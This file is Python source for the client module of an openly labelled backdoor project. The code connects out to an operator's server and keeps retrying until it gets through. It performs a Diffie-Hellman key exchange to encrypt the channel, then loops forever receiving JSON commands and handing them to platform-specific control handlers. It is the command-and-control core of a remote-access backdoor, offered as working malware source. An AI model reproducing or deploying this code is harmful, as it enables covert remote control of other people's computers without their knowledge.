

```

1  """
2  https://github.com/xp4xbox/Python-Backdoor
3
4  @author    xp4xbox
5
6  license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
7  """
8  import socket
9  import time
10 import logging
11
12 from src.definitions import platforms
13 from src.diffie_hellman import DiffieHellman
14 from src.logger import LOGGER_ID
15
16 if platforms.OS in [platforms.DARWIN, platforms.LINUX]:
17     from src.client.control.unix import Unix as Control
18 else:
19     from src.client.control.windows import Windows as Control
20
21 from src.encrypted_socket import EncryptedSocket
22 from src.client.command_handler import CommandHandler
23
24
25 class Client:
26     def __init__(self, host, port):
27         self.host = host
28         self.port = port
29         self.es = None
30         self.logger = logging.getLogger(LOGGER_ID)
31
32     def connect(self):
33         _socket = socket.socket()
34
35         while True: # infinite loop until socket can connect
36             try:
37                 _socket.connect((self.host, self.port))
38             except socket.error:
39                 time.sleep(3) # wait 3 seconds to try again
40             else:
41                 break
42
43         # first message is always the servers public key
44         key = int(_socket.recv(1024).decode())
45
46         self.logger.debug(f"recv key: {key}")
47
48         dh = DiffieHellman()
49
50         # send the client pub key
51         _socket.send(str(dh.pub_key).encode())
52
53         dh.set_shared_key(key)
54
55         self.logger.debug(f"send key: {dh.pub_key}")
56
57         self.es = EncryptedSocket(_socket, dh.key)
58
59         ch = CommandHandler(Control(self.es))
60
61         del dh
62
63         while True:
64             msg = self.es.recv_json()
65             ch.parse(msg)
66

```